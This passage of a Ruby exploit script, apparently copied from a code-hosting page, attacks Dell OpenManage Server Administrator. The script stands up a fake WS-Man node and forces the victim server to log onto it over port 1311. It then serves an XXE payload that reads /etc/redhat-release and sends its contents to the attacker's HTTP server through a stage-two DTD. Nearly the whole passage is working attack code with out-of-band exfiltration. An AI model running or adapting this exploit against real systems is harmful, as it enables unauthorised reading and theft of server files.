doc = Nokogiri::XML(req.body) do |config|
|
||||
config.options = Nokogiri::XML::ParseOptions::NONET
|
||||
end
|
||||
|
||||
doc.xpath('//wsmid:Identify', 'wsmid' => 'http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd').each do |idRequest|
|
||||
res.status = 200
|
||||
res['Content-Type'] = 'application/soap+xml;charset=UTF-8'
|
||||
res.body = '<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Fake Dell Open Manage Server Node</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>'
|
||||
end
|
||||
|
||||
doc.xpath('//n1:SendCmd_INPUT', 'n1' => 'http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule').each do |dellRequest|
|
||||
dellCmd = dellRequest.child.text
|
||||
|
||||
respText = " "
|
||||
if dellCmd.start_with?("__00omacmd=getuserrightsonly ")
|
||||
userRights = (7 + (7 << 16))
|
||||
respText = "<SMStatus>0</SMStatus><UserRightsMask>#{userRights}</UserRightsMask>"
|
||||
elsif dellCmd.start_with?("__00omacmd=getaboutinfo ")
|
||||
respText = "<ProductVersion>6.0.3</ProductVersion>"
|
||||
elsif dellCmd.start_with?("__00omacmd=getcmdlogcontent")
|
||||
respText = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE bogus [\n <!ENTITY % file SYSTEM \"file:///etc/redhat-release\">\n <!ENTITY % dtd SYSTEM \"http://#{attackerip}:8080/stage2.dtd\">\n%dtd;\n%send;\n]]>\n<bogus><blah /></bogus>"
|
||||
end
|
||||
|
||||
resDoc = Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<s:Envelope xmlns:s=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:wsa=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:wsman=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\" xmlns:n1=\"http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule\"><s:Header><wsa:To> </wsa:To><wsa:RelatesTo> </wsa:RelatesTo><wsa:MessageID> </wsa:MessageID></s:Header><s:Body><n1:SendCmd_OUTPUT><n1:ResultCode>0</n1:ResultCode><n1:ReturnValue> </n1:ReturnValue></n1:SendCmd_OUTPUT></s:Body></s:Envelope>")
|
||||
|
||||
resDoc.xpath('//wsa:To').first.content=doc.xpath('//wsa:Address').first.text
|
||||
resDoc.xpath('//wsa:RelatesTo').first.content=doc.xpath('//wsa:MessageID').first.text
|
||||
resDoc.xpath('//wsa:MessageID').first.content=SecureRandom.uuid
|
||||
|
||||
resDoc.xpath('//n1:ReturnValue').first.content=respText
|
||||
|
||||
res.status = 200
|
||||
res['Content-Type'] = 'application/soap+xml;charset=UTF-8'
|
||||
res.body = resDoc.to_xml
|
||||
end
|
||||
end
|
||||
|
||||
wsmanThread = Thread.new do
|
||||
wsmanCallback.start
|
||||
end
|
||||
|
||||
xxeCallback = WEBrick::HTTPServer.new(:Port => 8080)
|
||||
|
||||
xxeCallback.mount_proc '/stage2.dtd' do |req, res|
|
||||
res.status = 200
|
||||
res['Content-Type'] = 'application/xml-dtd'
|
||||
res.body = "<!ENTITY % all\n \"<!ENTITY % send SYSTEM 'http://#{attackerip}:8080/xxe?result=%file;'>\"\n>\n%all;\n"
|
||||
end
|
||||
|
||||
result = nil
|
||||
|
||||
xxeCallback.mount_proc '/xxe' do |req, res|
|
||||
result = req.query['result']
|
||||
wsmanCallback.shutdown
|
||||
xxeCallback.shutdown
|
||||
end
|
||||
|
||||
xxeThread = Thread.new do
|
||||
xxeCallback.start
|
||||
end
|
||||
|
||||
trap 'INT' do
|
||||
wsmanCallback.shutdown
|
||||
xxeCallback.shutdown
|
||||
abort "Exiting"
|
||||
end
|
||||
|
||||
httpConn = Net::HTTP.new(victimip, 1311)
|
||||
httpConn.use_ssl=true
|
||||
httpConn.verify_mode=OpenSSL::SSL::VERIFY_NONE
|
||||
|
||||
print "\n\nRequesting that the victim log onto this malicious node...\n\n"
|
||||
|
||||
logonUri = URI.parse("https://#{victimip}:1311/LoginServlet?flag=true&managedws=false")
|
||||
logonReq = Net::HTTP::Post.new(logonUri.request_uri)
|
||||
logonReq.set_form_data({"manuallogin" => "true", "targetmachine" => attackerip, "user" => "nobody", "password" => "", "application" => "omsa", "ignorecertificate" => "1"})
|
||||
|
||||
logonRes = httpConn.request(logonReq)
|
||||
|
||||
jSessionId = logonRes['Set-Cookie']
|
||||
jSessionId = jSessionId[(jSessionId.index('=')+1)..(jSessionId.index(';')-1)]
|
||||
|
||||
vid = logonRes['Location']
|
||||
vid = vid[(vid.index('&vid=')+5)..-1]
|
||||
|
||||
print "\n\nJSESSIONID = #{jSessionId}\nVID = #{vid}\nRequesting the victim's CmdLogWebPlugin...\n\n"
|
||||
|
||||
pluginUri = URI.parse("https://#{victimip}:1311/#{vid}/DataArea?plugin=com.dell.oma.webplugins.CmdLogWebPlugin&vid=#{vid}")
|
||||
pluginReq = Net::HTTP::Get.new(pluginUri.request_uri)
|
||||
pluginReq['Cookie']="JSESSIONID=#{jSessionId}"
|
||||
|
||||
pluginRes = httpConn.request(pluginReq)
|
||||
|
||||
wsmanThread.join
|
||||
xxeThread.join
|
||||
|
||||
print "\n\nSuccessful XXE: #{result}\n\n" unless result.nil?
|
Loading…
Add table
Reference in a new issue